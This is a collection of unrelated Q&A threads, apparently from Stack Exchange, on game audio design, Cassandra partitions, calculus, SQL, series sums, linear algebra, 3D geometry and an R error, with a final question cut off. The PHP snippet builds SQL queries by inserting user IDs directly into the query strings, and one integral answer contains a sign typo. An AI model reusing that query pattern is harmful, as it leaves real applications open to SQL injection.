Harmony and melody system for a 8 x 8 grid

Question: I am in the process of creating a computer game, where a character moves in a grid sized 8 x 8 squares, i.e. 8 squares horizontally and 8 squares vertically. When the character is moving on the playing field, notes are played depending on the position of the character. Being in the same position always results in the same notes being played (by design, so that the character position can be identified without looking at the screen). Moving the character horizontally and vertically (diagonal movement or "teleporting" to non-neighbouring squares is not possible) results in a dynamic melody being played. The position of the character should be uniquely identifiable by the notes played.
I have some basic knowledge of harmonies and scales (e.g. how to construct chords, which tone combinations sound dissonant, keys, modes etc).
Currently I'm using an oriental-sounding scale (read in some guitar magazine a long time ago, don't know the name of it). I'm playing the base notes
E3, F3, G#3, A3, B3, C4, D#4, E4
when moving the character vertically (lower notes on the bottom of the sceen) and simultaneously one of the same 8 notes two octaves higher when moving the character horizontally (lower notes to the left of the screen), that is
E5, F5, G#5, A5, B5, C6, D#6, E6
so that every combination of two of these 16 notes is possible. For example, when the character starts in the bottom left square, the notes played are E3/E5. When the character moves to the right, the notes played are E3/F5. Moving down one square results in F3/F5 being played, and so on.
<code>+--------+--------+---------+--------+--------+--------+---------+--------+
| E4 E5  | E4 F5  | E4 G#5  | E4 A5  | E4 B5  | E4 C5  | E4 D#5  | E4 E6  |
+--------+--------+---------+--------+--------+--------+---------+--------+
| D#4 E5 | D#4 F5 | D#4 G#5 | D#4 A5 | D#4 B5 | D#4 C5 | D#4 D#5 | D#4 E6 |
+--------+--------+---------+--------+--------+--------+---------+--------+
| C4 E5  | C4 F5  | C4 G#5  | C4 A5  | C4 B5  | C4 C5  | C4 D#5  | C4 E6  |
+--------+--------+---------+--------+--------+--------+---------+--------+
| B3 E5  | B3 F5  | B3 G#5  | B3 A5  | B3 B5  | B3 C5  | B3 D#5  | B3 E6  |
+--------+--------+---------+--------+--------+--------+---------+--------+
| A3 E5  | A3 F5  | A3 G#5  | A3 A5  | A3 B5  | A3 C5  | A3 D#5  | A3 E6  |
+--------+--------+---------+--------+--------+--------+---------+--------+
| G#3 E5 | G#3 F5 | G#3 G#5 | G#3 A5 | G#3 B5 | G#3 C5 | G#3 D#5 | G#3 E6 |
+--------+--------+---------+--------+--------+--------+---------+--------+
| F3 E5  | F3 F5  | F3 G#5  | F3 A5  | F3 B5  | F3 C5  | F3 D#5  | F3 E6  |
+--------+--------+---------+--------+--------+--------+---------+--------+
| E3 E5  | E3 F5  | E3 G#5  | E3 A5  | E3 B5  | E3 C5  | E3 D#5  | E3 E6  |
+--------+--------+---------+--------+--------+--------+---------+--------+
</code>
This sounds a bit monotonous and not always very pleasing to the ear, as the vertical "bass" notes do not always mix well with the horizontal higher "lead" notes.
What I'd like to do is have a unique "system" so that

each of the squares in the 8 x 8 grid contains notes unique to that square (as is the case now)
each pair is not very dissonant (not so currently)
the transition from every possible adjacent square results in a pleasant succession of notes, i.e a melody (not so currently)

I'm struggling to think of a way to create such a system so that the resulting melody still sounds like a real melody with a base tone and without shifting the key of the melody.
Is it possible to create such a system, and how should I go about doing this? I'm also not necesarily limited to using two notes in every square (each square can be divided into 16 subsquares), but to develop a melodic system I thought it would be easier to concentrate on 2 notes per square and go further from there. But I'm open to all suggestions.
Some food for thought:

the game can be though as a sequencer, where each row and line is one track, just that the track can be jumped at anytime
you could also maybe think of this as a grid of small songs, where each line and row is a 2-bar song in 4/4
I have made this in a very simple way, with just 8 notes horizontally and vertically, but this is of course not the end goal
Comment: To start, why not use the set of 7 notes that make up a diatonic scale? (personal choice: F G A Bb C D E).  These are known to sound good together in most* cases.  Then you hopefully have fewer sour combinations to sort out.
Comment: @chasly-supportsMonica this scale is called "double harmonic major" ;)
Comment: Yeah choosing a scale will be the essential first step. Also a permanent drone tone or chord could help to establish the tonical center and as a result the mode and feel.
Comment: The diatonic scale sounds good, just tried it out. I will also try out the drone tone, makes sense. Thanks guys.
Comment: *"E3, F3, G#3, A3, B3, C4, D#4, E4"*  Not sure if it has an official name but it forms the melody of the [theme music of  Pulp Fiction](https://www.youtube.com/watch?v=5Fb5apHfjug)
Comment: If you can only go up and down one step at a time, it *will* sound boring whatever scale you use. There are no real tunes that do that for any length of time. Are diagonal moves allowed?
Comment: @chasly - supports Monica Diagonal movements are not allowed. But there is no requirement that the melody goes strictly up and down, only that each square is identifiable from the notes played.
Answer: I'm not sure if it's a good SE question as it's very much open ended, but I'll try to give some suggestions:

E3, F3, G#3, A3, B3, C4, D#4, E4

I would advice starting with regular modal scales.
E.g.
C3-D3-E3-F3-G3-A3-B3-C4 (all white keys in the keyboard)
This is called C-ionian scale. For a different sound you can simply rotate the whole sequence, e.g. D-dorian is as simple as
D3-E3-F3-G3-A3-B3-C4-D4
Please also check your octaves. It seems to me that in the third row you intended to have C4 rather than C3, and in 7th column you wanted D#6 rather than D#4.
By combining notes randomly you will still get some dissonant sounds. Is it bad for you? In music we often use dissonant sounds to produce tension, which then resolves in a more consonant sound.
If you however insist on having consonances only, I'd rather advice you to combine notes based on triads. This is simple: you take every second note from a scale, e.g.
E3-G3-B3
You can omit one note, or play them in a different order and they will still sound good, e.g.:
E3-B3-G4
You can space them even more.
E2-G3-B4
There's lot's more to explore, but if you have no music knowledge, I think this is where I should stop. Experiment with this and you will have a good base of consonant sounds.
Comment: Another idea even farther in this direction would be to use a pentatonic scale.
Comment: A note regarding the dorian mode: It will only truly sound dorian if the tonal center is established to be D by some mean.
Comment: This answer seems to be missing the main point of the question, namely to create a cartesian grid where each of the notes defines one of the coordinates (a _tensor product of scales_, I might call it). How would this go with your chord suggestion?
Comment: @leftaroundabout You're correct, I don't answer the question. My point was to give the OP several easy to follow patterns that may yield pleasant sounds, without getting too deep in theory. But to truly design the actual solution – I think this goes beyond what I can do in SE. That would be an interesting project for someone more involved in development of the OP's product.
Comment: Thanks for the suggestions. I'm trying out the triad pattern, and other patterns as well. I actually started out in the beginning with the basic ionian scale, but that sounds pretty boring. Maybe I was being a bit too humble in the opening post, I'm not an absolute beginner in music, I play some guitar and other instruments and know the basic chords and scales and how to construct them, but I have no formal music education.
Answer: I can think of a couple of systems but it would require a fair amount of work. Will I get paid if the game is a success? ;-)    (joking!!!)
One is to use modulation between keys similar to the arrangement on a button accordion
 and another is to always preserve the Hamming distance between adjacent chords.
Comment: This is just a hobby sideproject. When I get it in a more decent shape overall, maybe I put it on Github and you're more than welcome to contribute. :) But I don't know if I can publish the address here then (is it forbidden / frowned upon)?
Comment: I'll look into the two concepts, thanks for the ideas. But if I understand that correctly with the Hamming distance, wouldn't it shift the key of the melody constantly?
Comment: I was joking about getting paid. I'm actually too lazy to take on a new project! It looks really interesting though. Hopefully the ideas will be useful. You could also do something with pivot chords like diminished, placed strategically. The idea of changing key was deliberate because I think staying in the same key and moving one step at a time is going to get boring. Maybe not though it depends somewhat on the game and what the objectives are.


How to understand the concept of wide row and related concepts in Cassandra?

Question: I feel very difficult to understand the concept of wide row and related concepts from Cassandra The Definite Guide:

Cassandra uses a special primary key called a composite key (or compound key) to
  represent wide rows, also called partitions. The composite key consists of a partition
  key, plus an  optional set of clustering columns.  The partition key is used to determine
  the nodes on which rows are stored and can itself consist of multiple columns. The
  clustering columns are used to control how data is sorted for storage within a partition.  Cassandra also supports an additional construct called a static column, which is
  for storing data that is not part of the primary key but is shared by every row in a
  partition.
Figure  4-5  shows  how  each  partition  is  uniquely  identified  by  a  partition  key,  and
  how the clustering keys are used to uniquely identify the rows within a partition.

Are a wide row and a partition synonyms?
In "the partition key is used to determine the nodes on which rows are stored and can itself consist of multiple columns" and "each partition is uniquely identified by a partition key",

since a partition key is for a wide row, why are there multiple "rows" (does "rows" here mean "wide rows")?
how does the partition key  "determine the nodes on which rows are stored"?
How can a partition key be used for "each partition is uniquely identified by a partition key"?

In "the clustering columns are used to control how data is sorted for storage within a partition",

what is a clustering column, for example, what are the clustering columns in the figure?
How do the clustering columns "control how data is sorted for storage within a partition"?

In "the clustering keys are used to uniquely identify the rows within a partition",

a partition is a synonym of a wide row, what does it mean by "the rows within a partition"?
How "the clustering keys are used to uniquely identify the rows within a partition"?

Thanks.
Answer:
Are a wide row and a partition synonyms?

partition and row can be considered synonym. wide row is a scenario where the chosen partition key will result in very large number of cells for that key. Consider a scenario which has all persons in a country and partition key used is city, then there will be one row for one city and all person will be cells in that row. For metro city this will lead to wide rows. Another example can be storing sensor data received every few seconds with sensorId as partition key, which will lead to huge number of cells some years down the line.

since a partition key is for a wide row, why are there multiple "rows"
  (does "rows" here mean "wide rows")?

Same as above.

how does the partition key "determine the nodes on which rows are
  stored"?

From partiton key hash (MurMur3Hash is default) is generated and each node in cassandra is responsible for range of values. Consider Hash of partition key value turns out to be 20 and Node1 is responsible for range 1 to 100 then that partiton will reside on Node1.

How can a partition key be used for "each partition is uniquely
  identified by a partition key"?

As explained above partition key decides on which node the data resides.. Data representation can be considered as huge map which can have only unique keys.

what is a clustering column, for example, what are the clustering
  columns in the figure?

Consider a table created like Create TABLE test (a text,b int, c text, PRIMARY KEY(a,b)) here a is partition key and b is clustering column. In the figure attached clustering key is the clustering column and whole enclosing box is cell.

How do the clustering columns "control how data is sorted for storage
  within a partition"?

Cassandra will sort the data using column b in the above example table in ascending table. It can be changed to descending as well.
INSERT INTO test(a,b,c) VALUES('test',2,'test2')
INSERT INTO test(a,b,c) VALUES('test',1,'test1')
INSERT INTO test(a,b,c) VALUES('test-new',1,'test1')

If you run the above query in this order cassandra will store data in following order (Data representation has much more than below.. just check the order of column b):
test -> [b:1,c=test1] [b:2,c=test2]
test-new -> [b:1,c=test1]

a partition is a synonym of a wide row, what does it mean by "the rows
  within a partition"?

Clustering column is used to identify cells (cells is a better term than row) within a partition. example SELECT * from test where a='test' and b=1 will pick up the cell with b:1 for partiton key test.

How "the clustering keys are used to uniquely identify the rows within
  a partition"?

Above answer should explain this as well.
Comment: Thanks. A question arises from your answer https://stackoverflow.com/questions/59104636/do-the-concepts-of-wide-rows-partitions-clustering-columns-keys-and-partition


Finding $\iint_{A}\frac{dx\,dy}{(1+x^2)(1+x^2 y^2)}$ with Fubini's theorem

Question: I have to solve the following double integral
$$\iint_{A}\frac{dx\,dy}{(1+x^2)(1+x^2 y^2)}$$
with $A= \left[0,+\infty\right[ \times [0,1].$ So far I've tried to solve it integrating w.r.t. $y$ first.
$$\iint_0^1\frac{dy\,dx}{(1+x^2)(1+x^2 y^2)} = \int_0^\infty\frac{1}{1+x^2}\int_0^1\frac{dy}{1+x^2 y^2} \, dx. $$
I've solved the internal integral by substitution, remembering that $\int\frac{du}{1+u^2}=\arctan u$
Substitution:
$$x^2 y^2= u^2 \to y=\frac{1}{x}u \to dy=\frac{1}{x}du.$$
$$y=0 \to u=0, \qquad y=1 →u=x$$
So:
\begin{align}
& \int_0^∞\frac{1}{1+x^2} \left( \int_0^x\frac{1}{x}\frac{1}{1+u^2}\,du \right) \, dx \\[8pt]
= {} & \int_0^\infty\frac{1}{x}\frac{1}{1+x^2}[\arctan u] \, dx \\[8pt]
= {} & \int_0^\infty\frac{\arctan x}{x(1+x^2)} \, dx.
\end{align}
Now I have to solve this last integral with the Fubini's theorem but I don't know how to do it.
Comment: How about integrating with respect to $x$ first?
Comment: I would try with the change of variable $v = \arctan(x)$, and then integration by parts.
Comment: $$\int_0^\infty\frac{\arctan x}{x(1+x^2)} \, dx = \int_0^{\pi/2} \frac{w}{\tan w} \, dw$$ via $w = \arctan x.$ but I don't know if this gets you anywhere. $\qquad$
Comment: I wondered what was meant by the notation $A= [0,+∞[ x [0,1].$ But then I figured out that it must have meant $A= \left[0,+∞\right[ \times [0,1].$ See my edits, including that one, for proper MathJax usage.
Comment: $$\begin{align}
& \int_0^\infty\frac{\arctan x}{x(1+x^2)} \, dx \\ {} \\
= {} & \int_0^{\pi/2} \frac{w}{\tan w} \, dw \\ {} \\
= {} & \int w \, dv = wv - \int v\,dw \quad \text{(integration by parts)} \\ {} \\
\text{where } & dv = \frac{dw}{\tan w}, \text{ so } v = \log\left|\sin w \right|
\end{align}$$
I'm still not sure this gets you anywhere. I'd look at what Sangchul Lee suggested.
Comment: $$
\begin{align}
& \iint\limits_{[0,+\infty) \times [0,1]} \frac{d(x,y)}{(1+x^2)(1+x^2 y^2)} \\ {} \\
= {} & \int_0^1 \left( \int_0^\infty \frac{dx}{(1+x^2)(1+x^2y^2)} \right) \, dy
\end{align}
$$
Here, use partial fractions. $\qquad$
Comment: If you resolve $\int_{0}^{\infty}\frac{dy}{1+(xy)^2}=\frac{\pi}{2x}$ then use partial fraction with the other integral
Comment: $\int_{0}^{1} \frac{dx}{\pi(1+x^2)x} $ ..well im nor sure by try mi idea
Answer: Solution 1. Let $I$ denote the double integral. Then
\begin{align*}
I
&= \int_0^1 \int_0^\infty \frac{1}{(1+x^2)(1+x^2 y^2)} \, \mathrm{d}x\,\mathrm{d}y \\
&= \int_0^1 \int_0^\infty \frac{1}{1-y^2} \left( \frac{1}{1+x^2} - \frac{y^2}{1+x^2y^2} \right) \, \mathrm{d}x\,\mathrm{d}y \\
&= \int_{0}^{1} \frac{1}{1-y^2} \left( \frac{\pi}{2} - \frac{\pi y}{2} \right) \, \mathrm{d}y \\
&= \frac{\pi}{2} \int_0^1 \frac{1}{1+y} \, \mathrm{d}y \\
&= \frac{\pi}{2} \log 2.
\end{align*}
Solution 2.
\begin{align*}
I
= \int_0^\infty \int_0^1 \frac{1}{(1+x^2)(1+x^2 y^2)} \, \mathrm{d}y \, \mathrm{d}x
= \int_0^\infty \frac{\arctan x}{(1+x^2)x} \, \mathrm{d}x.
\end{align*}
Substituting $x = \tan\theta$, then
\begin{align*}
\require{cancel}
I
&= \int_0^{\frac{\pi}{2}} \frac{\theta}{\tan\theta} \, \mathrm{d}\theta
= \cancel{\left[ \theta \log \sin\theta \right]_0^{\frac{\pi}{2}}} - \int_0^{\frac{\pi}{2}} \log \sin\theta \, \mathrm{d}\theta.
\end{align*}
Regarding the last integral, we observe that the following holds:
$$ I
= -\int_0^{\frac{\pi}{2}} \log \sin\theta \, \mathrm{d}\theta
= -\int_0^{\frac{\pi}{2}} \log \cos\theta \, \mathrm{d}\theta
= -\int_0^{\frac{\pi}{2}} \log \sin(2\theta) \, \mathrm{d}\theta. $$
Using this, we get
$$ 2I
= -\int_0^{\frac{\pi}{2}} \log (\sin\theta\cos\theta) \, \mathrm{d}\theta
= -\int_0^{\frac{\pi}{2}} \log \left(\frac{\sin2\theta}{2}\right) \, \mathrm{d}\theta
= I + \frac{\pi}{2}\log 2. $$
Therefore
$$ I = \frac{\pi}{2}\log 2. $$
Answer: Following Michael Hardy's suggestion, I will use partial fractions. We will have
$$\frac{1}{(1+x^2)(1+x^2y^2)}=\frac{1}{1-y^2}\left(\frac{1}{1-x^2}-\frac{y^2}{1+x^2y^2}\right)$$
So
$$
\begin{eqnarray}
\iint_{A=[0,\infty[\times[0,1]}\frac{dx\,dy}{(1+x^2)(1+x^2y^2)}&=&\int_0^1\frac{1}{1-y^2}\left[\int_0^\infty\left(\frac{1}{1-x^2}-\frac{y^2}{1+x^2y^2}\right)dx\right]dy \\
&=&\int_0^1\frac{1}{1-y^2}\left[\arctan x|_0^\infty-y\arctan (xy)|_0^\infty\right]dy \\
&=&\int_0^1\frac{1}{1-y^2}\left[\frac{\pi}{2}-y\frac{\pi}{2}\right]dy \\
&=&\frac{\pi}{2}\int_0^1\frac{dy}{1+y}=\left.\frac{\pi}{2}\ln|1+y|\right|_0^1 \\
&=&\frac{\pi}{2}\ln 2
\end{eqnarray}
$$
Answer: \begin{align} & \iint\limits_{[0,+\infty) \times [0,1]} \frac{d(x,y)}{(1+x^2)(1+x^2 y^2)} \\[8pt] = {} & \int_0^1 \left( \int_0^\infty \frac{dx}{(1+x^2)(1+x^2y^2)} \right) \, dy \end{align}
So we need partial fractions:
\begin{align}
& \frac 1 {(1+x^2)(1+x^2 y^2)} = \frac {Ax+B} {1+x^2} + \frac{Cx+D}{1+x^2y^2} \\[10pt]
1 & = (Ax+B)(1+x^2y^2) + (Cx+D)(1+x^2) \\[8pt]
& = (Ay^2+C)x^3 + (By^2+D)x^2 + (A+C)x + (B+D) \\[8pt]
\text{So } & Ay^2 + C=0 \\
& By^2+D=0 \\
& A+C=0 \\
& B+D=1 \\[8pt]
\text{and so } & A=0, \quad C=0, \quad B=1/(1-y^2), \quad D= y^2/(y^2-1). \\[8pt]
& \frac 1 {(1+x^2)(1+x^2 y^2)} = \frac {1/(1-y^2)} {1+x^2} + \frac{y^2/(y^2-1)}{1+x^2y^2}
\end{align}
And so the first integral:
\begin{align}
& \int_0^\infty \frac{dx}{(1+x^2)(1+x^2y^2)} \\[8pt]
= {} & \int_0^\infty \left( \frac{1/(1-y^2)} {1+x^2} + \frac{y^2/(y^2-1)}{1+x^2y^2} \right) \, dx \\[8pt]
= {} & \frac \pi {2(1+y)}
\end{align}
and so on.
Corollary: In view of one of my comments under the question, we conclude that $$ \int_0^{\pi/2} \frac{w}{\tan w} \, dw = \frac \pi 2 \log 2. $$


Convert Nested queries into sql view

Question: I have these three different queries.These queries gives me result independently correct.now i want to merge these three queries into single query or view to get result very easily from one query.
<code>$sql1 = "select * from user_post_like
                            inner join user_post
                            on user_post_like.postID = user_post.postID
                            where ((user_post.poster='$uID' AND user_post_like.userID!='$uID'  )  OR (user_post.wallID='$uID'
                                    AND user_post_like.userID!='$uID')
                                    AND user_post_like.notificationStatus=0)";

    $sql2 = "select * from user_post_comment
                            inner join user_post
                            on user_post_comment.postID = user_post.postID
                            where ((user_post.poster='$uID' AND user_post_comment.commenter!='$uID') OR (user_post.wallID='$uID' AND user_post_comment.commenter!='$uID')
                            AND user_post_comment.notificationStatus=0)";

    $sql3 = "select * from user_post_share
                            inner join user_post
                            on user_post_share.postID = user_post.postID
                            where ((user_post.poster='$uID'
AND   user_post_share.Share_user_id!='$uID') OR (user_post.wallID='$uID' AND user_post_share.Share_user_id!='$uID')                                 AND
user_post_share.notificationStatus=0)";
</code>
Answer: It all depends on your table structures and how you want the single result set to look.
If your three tables have the same structure, you can combine them with UNION:
<code>$big_single_query = "$sql1 UNION $sql2 UNION $sql3";
</code>
If they don't have the same structure, you can combine the logic of the three separate queries into a three table join:
<code>SELECT upl.*, upc.*, ups.*
FROM user_post_like as upl
LEFT JOIN user_post_comment as upc on ...
LEFT JOIN user_post_share as ups on ...
WHERE (...) and (... ) and (...);
</code>
But since you didn't post the structures of your tables or the format of your output, you'll have to fill in the details to get what you want.
Comment: Then use the join syntax. Hopefully you won't need to use * as much as I did in the example - you're better off selecting just the columns you need for your program.

Convert Nested queries into sql view


The sum of the given sequence

Question: $49+50+\cdots+148$
I tried $49 + 148 = 197$. It's wrong apparently
I'm not sure what to do. Could I get some assistance?
Comment: What  do you suppose those "$\,\cdots\,$" dots stand for?
Comment: See https://betterexplained.com/articles/techniques-for-adding-the-numbers-1-to-100/
Comment: "It's wrong apparently" Do you really believe that $49+50+\dots+148 = 49 + 148$?
Answer: You should pair $49$ and $148$ up (great, you did that)
Now what about pairing $50$ with $147$?
You should count how many pairs are there and multiply with the number of pair.
Alternative perspective:
$$S= 49+50+\ldots + 148$$
$$S=148+147+\ldots+49$$
Add them up and solve for $S$.
Answer: In general the sum of the first n numbers is given by

$$s(n) =\frac{n(n+1)}{2}$$

thus
$s(148)-s(48)=49+50+\cdots+148$
Answer: add 1+2+3...48 and subtract the same so net change is zero
now we have two series
1+2+3+4...148 and 1+2+3...48
$S_1 = 1+2+3+4...148 = 148*149/2$
$S_2 = 1+2+3+4...48 = 48*49/2$
S = 49 + 50...148
$S = S_1-S_2$
S1 = 11026
S2 = 1176
S = 9850

The sum of the given sequence


Linearly independent vectors: columns, rows or both?

Question: In order to verify a set of vectors is linearly independent, a way is to form a matrix with the vectors as rows and through row-operations find the echelon matrix and see if there is a zero vector or not.
I was wondering:

can we set such vectors also as columns of a matrix and then reduce such matrix to its row-equivalent echelon one, applying the same procedure as before?
Answer: Yes, you can. The result follows from the fact that row rank = column rank.
Or also the (equivalent) fact that $\operatorname{rank} A = \operatorname{rank} A^T.$
As reducing the matrix to its row-reduced echelon form gives you the rank of the matrix, it makes no difference if you start by putting the vectors as columns.


Find the equation of a plane containing two given points and having a given distance to a third point

Question: This problem is part of examination preparation material for second mid-semester test of 12-th grade in my school:
In the 3D space Oxyz, given 3 points $A(1,0,0)$, $B(0,-2,3)$, $C(1,1,1)$. Let $(P)$ be the plane containing $A$, $B$ such that the distance from $C$ to the plane $(P)$ is $\frac{2}{\sqrt{3}}$. The equation of the plane $(P)$ is:

A. $2x + 3y + z - 1 = 0$ or $3x + y + 7z + 6 = 0$
B. $x + y + z - 1 = 0$ or $-2x +37y+17z+13=0$
C. $x + y +2z - 1 = 0$ or $-2x +3y+7z+23=0$
D. $x + y + z - 1 = 0$ or $-23x+37y+17z+23=0$

This is a multiple choice question. However, we're still expected to provide some work...
It's not quite important, as it is not part of the mandatory homework section. But I still find it quite interesting, somehow.
So far, the best thing I've got is in Geogebra using some translation and rotations.
As on paper, I don't know where to even start... Surely I can't just tell my teacher "so we rotate this segment $sin^{-1}{(\frac{2}{\sqrt{3}}} \div |Vector(A,D)|)$ where D is the image of C on plane from A and normal vector AB". Also, I don't know how Geogebra's Rotate(Object, Angle, PointOfOrigin, Axis) work.
Any suggestion to an alternative approach to this problem would be appreciated...
Comment: Welcome to MathSE! Unfortunately, your post doesn't fully meet this site's policy (see [how to ask a good question](https://math.meta.stackexchange.com/questions/9959/how-to-ask-a-good-question)). I recommend that you edit your post. (1) You should provide some context to your question. Where is this problem from? Why is it interesting and important? (2) Please tell in the post, did you try to solve it? What progress did you achieve? Where were you "stuck"?
Comment: "*However, we're still expected to provide some work...*" Golden words!
Answer: Let the equation of the plane be $a x + b y + c z = d $
Since $A$ and $B$ lie on the plane, then
$ a = d $
$ -2 b + 3 c = d $
Further the distance of the plane from $C$ is $\dfrac{2}{\sqrt{3}} $.  Therefore,
$ \left( \dfrac{2}{\sqrt{3}} \right)^2 = \dfrac{ (a + b + c - d)^2} {a^2 + b^2 + c^2} $
Solving the first two equations, gives
$ a = d = 2t $ , where $t \in \mathbb{R} $
$ c = 2s $, where $ s \in \mathbb{R} $
$ b = 3 s - t  $
Substituting this into the third equation,
$ \dfrac{4}{3} = \dfrac{ (5 s - t)^2 }{ 4 t^2 + (3 s - t)^2 + 4 s^2 } $
so that,
$ 16 t^2 + 4 ( 9 s^2 - 6 s t + t^2 ) + 16 s^2 = 3 ( 25 s^2 + t^2 - 10 t s ) $
And finally,
$ 17 t^2 - 23 s^2 + 6 t s = 0 $
Take $ s = 1 $, then
$ 17 t^2 + 6 t - 23 = 0 $
Factor,
$(17 t + 23) (t - 1) = 0$
whose roots are
$ t =1 $ and $ t = - \dfrac{23}{17} $
For $ t = 1 $ we get
$ a = d = 2 , c = 2 , b = 2 $
So that the equation is $ x + y + z = 1 $
And for $ t = -\dfrac{23}{17}$, modify $s$ to $17$ , then $t = -23 $, and we will have,
$ a = d = -46 , c = 34 , b = 3(17) + 23 = 74 $
Dividing through by $2$, the equation is
$  - 23 x + 37 y + 17 z = -23 $
Comment: The two equations are in the 4 variables $a,b,c,d$ and that's their solution in terms of the free parameters $t$ and $s$
Comment: Thank you. But can you clarify a bit at the "Solving the first two equations, gives a = d = 2t where t ∈ R" please? I assume the 2 equations are "a = d" and "-2b + 3c = d".
Answer: Finding a line in $R^{3}$ through A and B is simple enough. The problem that then arises is that since point C is not on the plane, it is not simply a case of finding two vectors in the plane etc.
I would suggest elimination of wrong answers is the approach intended by the way the question is written.
Option A: the plane $2x+3y+z-1=0$ does not go through point A so we can eliminate this option.
Option B: both planes contain points A and B and so we need to check the distance from each to the point C. The plane $-2x+37y+17z+13=0$ is not the required distance from C (the first plane in option B is the required distance though).
Option C: The plane $-2x+3y+7z+23=0$ is not the required distance from C.
So by elimination, it must be D.
Checking that points A and B are in both planes and both are the required distance from C is not too difficult to show.
Comment: Since the requirements identify two planes, I would interpret the answer as saying "these are the two planes".  This is the approach that occurred to me, but if I specify "you must show your work" in a class, I don't usually count checking the answer as showing work.
Comment: Thank you for your edit. I am scarce in English language.
Answer: If you want to do it by rotation of the normal vector of the plane, then first find the vector
$ V = B - A = (0, -2, 3) - (1, 0,0) = (-1, -2, 3) $
Create two orthogonal unit vectors to $V$, these are arbitrary, but an easy choice is
$ U_1 = \dfrac{1}{\sqrt{5}} (2, -1, 0) $
$U_2 = \dfrac{ V \times U_1}{\| V \times U_1 \| }$
Now $ V \times U_1 = \dfrac{1}{\sqrt{5}} ( 3 , 6 , 5 ) $
So that
$ U_2 = \dfrac{ (3, 6, 5)}{ \sqrt{70}} $
Now the equation of the plane is a function of one parameter only $\theta$
The equation is
$ N \cdot ( r - A )  = 0 $
where $N = \cos \theta \ U_1 + \sin \theta \ U_2 $
Since $N$ is a unit vector, the distance between $C$ and the plane as given in this equation is $| N \cdot (C - A) | $.  And we have $C - A = (0, 1, 1) $
Therefore, we require that
$ | \cos \theta (U_1 \cdot (C - A) ) + \sin \theta (U_2 \cdot (C - A) | = \dfrac{2}{\sqrt{3}} $
Now $U_1 \cdot (C - A) = - \dfrac{1}{\sqrt{5}} $
and $U_2 \cdot (C - A) = \dfrac{11}{\sqrt{70}} $
We already know that there are only two solutions, so we can drop the absolute value operation.  Hence, the equation becomes
$ - \dfrac{1}{\sqrt{5}} \cos \theta + \dfrac{11}{\sqrt{70}} \sin \theta = \dfrac{2}{\sqrt{3}} $
The solutions of this trigonometric equation in radians are
$ \theta_1 = 1.30963916 $
and
$ \theta_2 = 2.487700856 $
The corresponding normal vector $N$ is
With $\theta_1$:
$ N = \langle \dfrac{1}{\sqrt{3}} , \dfrac{1}{\sqrt{3}}, \dfrac{1}{\sqrt{3}} \rangle $
and $ d = N \cdot A = \dfrac{1}{\sqrt{3}} $
So that, after scaling by $\sqrt{3}$ the equation becomes:
$ x + y + z = 1 $
With $\theta_2$, we get:
$ N = \langle -0.491816896 , 0.791183702, 0.363516836 \rangle $
and $ d = N \cdot A = -0.491816896 $
So that after scaling, we get
$ -23 x + 37 y + 17 z = -23 $
Comment: Sorry.  $r=(x,y,z)$
Comment: Thanks a lot for this second solution! But I'm quite confused about the plane equation "N (r - A)". What is `r`? I did get the desired result by writing the normal plane equation that goes through A though.


mutate() error while kniting Kaggle R Notebook

Question: I have created a Kaggle notebook using R code and R Markdown together. I am facing this error-
**Error in UseMethod("mutate"): no applicable method for 'mutate' applied to an object of class "character"
Traceback:

dplyr::mutate(daily_activities$day_of_the_week <- weekdays(daily_activities$activity_date))**

-whenever I am trying to run all the codes together.
The codes are working perfectly individually.
I simply wanted to use R codes and R markdown together. Instead of using R Markdown directly, I used R notebook, and then this happened.
The link to my Kaggle notebook is here.
Please help me sort this issue as I am struggling since morning with this.
[Also, according to what I have understood - I am thinking that there is a problem of using R MarkDown and R code together, maybe I have not used them together correctly. Kindly correct me if I am wrong. Thanks.]
Answer: I assume it has nothing do with R Markdown.
I created a kaggle account and downloaded your data dailyActivity_merged.csv. For reproducibility I have uploaded the first ten rows.
After this line
daily_activities$activity_date <- as.POSIXct(daily_activities$ActivityDate,
                                             format="%m/%d/%Y",
                                             tz = Sys.timezone())

consider to change your code to either of the following

using {dplyr} syntax

daily_activities |>
  dplyr::mutate(DayOfWeek = weekdays(activity_date))

or using base R

daily_activities$DayOfWeek <- weekdays(daily_activities$activity_date)

You may change the variable names accordingly.
Data
daily_activities10 <- structure(list(Id = c(1503960366, 1503960366, 1503960366, 1503960366,
                                            1503960366, 1503960366), ActivityDate = c("4/12/2016", "4/13/2016",
                                                                                "4/14/2016", "4/15/2016", "4/16/2016", "4/17/2016"), TotalSteps = c(13162L,
                                                                                10735L, 10460L, 9762L, 12669L, 9705L), TotalDistance = c(8.5,
                                                                                6.96999979019165, 6.73999977111816, 6.28000020980835, 8.15999984741211,
                                                                                6.48000001907349), TrackerDistance = c(8.5, 6.96999979019165,
                                                                                6.73999977111816, 6.28000020980835, 8.15999984741211, 6.48000001907349
                                                                                ), LoggedActivitiesDistance = c(0, 0, 0, 0, 0, 0), VeryActiveDistance = c(1.87999999523163,
                                                                                1.57000005245209, 2.44000005722046, 2.14000010490417, 2.71000003814697,
                                                                                3.19000005722046), ModeratelyActiveDistance = c(0.550000011920929,
                                                                                0.689999997615814, 0.400000005960464, 1.25999999046326, 0.409999996423721,
                                                                                0.779999971389771), LightActiveDistance = c(6.05999994277954,
                                                                                4.71000003814697, 3.91000008583069, 2.82999992370605, 5.03999996185303,
                                                                                2.50999999046326), SedentaryActiveDistance = c(0, 0, 0, 0, 0,
                                                                                0), VeryActiveMinutes = c(25L, 21L, 30L, 29L, 36L, 38L), FairlyActiveMinutes = c(13L,
                                                                                19L, 11L, 34L, 10L, 20L), LightlyActiveMinutes = c(328L, 217L,
                                                                                181L, 209L, 221L, 164L), SedentaryMinutes = c(728L, 776L, 1218L,
                                                                                726L, 773L, 539L), Calories = c(1985L, 1797L, 1776L, 1745L, 1863L,
                                                                                1728L)), row.names = c(NA, 6L), class = "data.frame")

Comment: Thank You @Friede !! The 'base R' solution worked for me.

When I used 'mutate(daily_activities$day_of_the_week <- weekdays(daily_activities$activity_date))' in RStudio(desktop), it worked, but in Kaggle Notebook it didn't. Can you please educate me why that happened ?
Comment: Assuming there is no typo in your code, perhaps due to the fact that mutate is not loaded in Kaggle?


Atualizar DIV sem refresh com Ajax

Question: Tenho um ajax que manda através de post, algumas informações no PHP para uma outra página. Eu salvo essas informações na session.
Gostaria de atualizar a div onde tenho uma modal. No caso, esta modal teria que atualizar sem dar refresh na página inteira, somente nela para pegar o valor da $_SESSION['IMPR_PEDIDO']['pedido'] atual. Alguém sabe como fazer?

            <button type="button" class="close" data-dismiss="modal" aria-label="Fechar">×</button>

PedidoOnline gerado com sucesso!

